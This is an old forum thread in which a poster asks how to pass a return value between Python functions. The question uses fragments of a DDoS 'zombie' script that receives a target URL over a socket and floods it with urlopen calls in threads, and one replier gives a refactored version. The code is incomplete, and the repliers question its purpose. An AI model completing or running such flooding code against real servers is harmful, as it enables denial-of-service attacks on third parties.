By using this site, you agree to our updated Privacy Policy and our Terms of Use. Manage your Cookies Settings.
443,404 Members | 1,074 Online
Bytes IT Community
+ Ask a Question
Need help? Post your question and get tips & solutions from a community of 443,404 IT Pros & Developers. It's quick & easy.

passing what a function returns to another function

P: n/a
I have 2 functions among others. One gets a URL and returns its, For
example, it returns 'http://127.0.0.1' How can I pass this to another
function? I've never worked with code that has lots of functions before.

def receive_targets_url():
# This recievies the DDOS target's URL
I = socket(AF_INET, SOCK_STREAM)
I.bind((DDOS_ZOMBIE_IP, U_PORT))
I.listen(5)
conn, addr = I.accept()
DDOS_TARGET = conn.recv(1024)
conn.close()
return DDOS_TARGET

def receive_commands():
class threaded_ddos(Thread):
def run(self):
for x in xrange(999999999):
f = urlopen(DDOS_TARGET)
Jul 18 '05 #1
Share this Question
Share on Google+
5 Replies


P: n/a
On Sun, 08 Feb 2004 11:06:00 +1100, Bart Nessux wrote:
I have 2 functions among others. One gets a URL and returns its, For
example, it returns 'http://127.0.0.1' How can I pass this to another
function? I've never worked with code that has lots of functions before.


Either store the function result in an intermediate variable, or just call
the second function directly on the result of the first:

# method 1: using an intermediate variable
my_url = receive_target()
receive_commands(my_url)

# method 2: call one function directly on the result of the other
receive_command(receive_target())

Please note, the way you have written these two functions, I don't believe
either method will work. In particular, receive_commands() doesn't take
any arguments, so you have no way to pass it an argument :-)

Also, receive_target appears to be using a lot of global variables, which
is probably not a good idea. If you have to use globals, it is recommended
that you declare them that way first, even if you don't strictly need to.

I would try something like this:

# WARNING: untested code, almost certainly won't work

def receive_targets_url(I):
# This receives the DDOS target's URL...
# Input: socket I
# Output: string URL

# I hope DDOS doesn't stand for Distributed Denial of Service

global DDOS_ZOMBIE_IP, U_PORT
# by convention, constants are in ALL UPPERCASE

I.bind((DDOS_ZOMBIE_IP, U_PORT))
I.listen(5)
conn, addr = I.accept()
ddos_target = conn.recv(1024)
conn.close()
return ddos_target

def receive_commands(url):
# This receives commands ...
# Input: url is a string containing the URL to use
# Output: none

for i in xrange(999999999):
# hmmm, this looks like a Denial of Service attack to me...
# haven't you got something better to do with your time,
# like maybe writing a natural language parser or something
# useful and challenging?
f = urlopen(url)
--
Steven D'Aprano
Jul 18 '05 #2

P: n/a
> # hmmm, this looks like a Denial of Service attack to me...
# haven't you got something better to do with your time,
# like maybe writing a natural language parser or something
# useful and challenging?
f = urlopen(url)


Tee hee.

On the one hand, I'm not terribly worried that his 'DDOS' software will
get too far. Considering that it requires the python runtime, and a few
other misc libraries, we are talking 1-2 megs per version.

Maybe he read the recent NY Times article on virus/worm writers and
wanted to be all 31337.
http://www.nytimes.com/2004/02/08/ma...1&pagewanted=1

- Josiah
Jul 18 '05 #3

P: n/a
Hello Bart,
I have 2 functions among others. One gets a URL and returns its, For
example, it returns 'http://127.0.0.1' How can I pass this to another
function? I've never worked with code that has lots of functions before.

You can either use a varible to store the 1'st result and pass it to
the 2'nd function of call the 1'st function directly as a parameter:
def double(x): return x * 2
def triple(x): return x * 3 a = double(2)
triple(a) 12 triple(double(2))

12

HTH.
Miki
Jul 18 '05 #4

P: n/a
Steven wrote:
for i in xrange(999999999):
# hmmm, this looks like a Denial of Service attack to me...
# haven't you got something better to do with your time,
# like maybe writing a natural language parser or something
# useful and challenging?
f = urlopen(url)

Thanks for the tips on functions.

It is a Denial of Service script written in Python and it is very effective
(produces loads > 150 on a 1000MHz PowerMac G4 running apache with static
html pages). It's been written for Unix load testing in an academic
setting. It will not be misused. Just trying to get the client/server
details worked out since the scripts have been rewritten to be more
modular... here's where I ran into problems with functions.

Again, thanks to all for the tips.
Jul 18 '05 #5

P: n/a
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 2004-02-08T16:05:06Z, Bart Nessux <ba*********@hotmail.com> writes:
It is a Denial of Service script written in Python and it is very
effective (produces loads > 150 on a 1000MHz PowerMac G4 running apache
with static html pages). It's been written for Unix load testing in an
academic setting.


OK, that's fine, but you should know that many such tools already exist. If
the aim of your project is writing one in Python, go for it. If not, your
time might be better spent using one that's already in production.

- From a description of http://home.tiscali.cz/~cz210552/webbench.html:

webbench is very simple HTTP benchmarking tool, which can benchmark both
WWW and proxy servers. webbench uses fork() for simulating multiple
clients and supports benchmarking by HTTP/0.9-HTTP/1.1 requests (without
Keep-Alive). This benchmark is not very realistic, but can test if your
HTTPD can really handle many clients at once (try to run some CGIs)
without taking your machine down. I am using this program for setting
maximum number of Apaches. Webbench displays results in pages/min and
bytes/sec.
- --
Kirk Strauser
The Strauser Group
Open. Solutions. Simple.
http://www.strausergroup.com/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAJpQH5sRg+Y0CpvERAueyAJ9dY5JQIYkocwyN/X5XLNuI38XSiACdFufi
auDALXYFDO9QV4AeY9tyUjA=
=B09Q
-----END PGP SIGNATURE-----
Jul 18 '05 #6

This discussion thread is closed

Replies have been disabled for this discussion.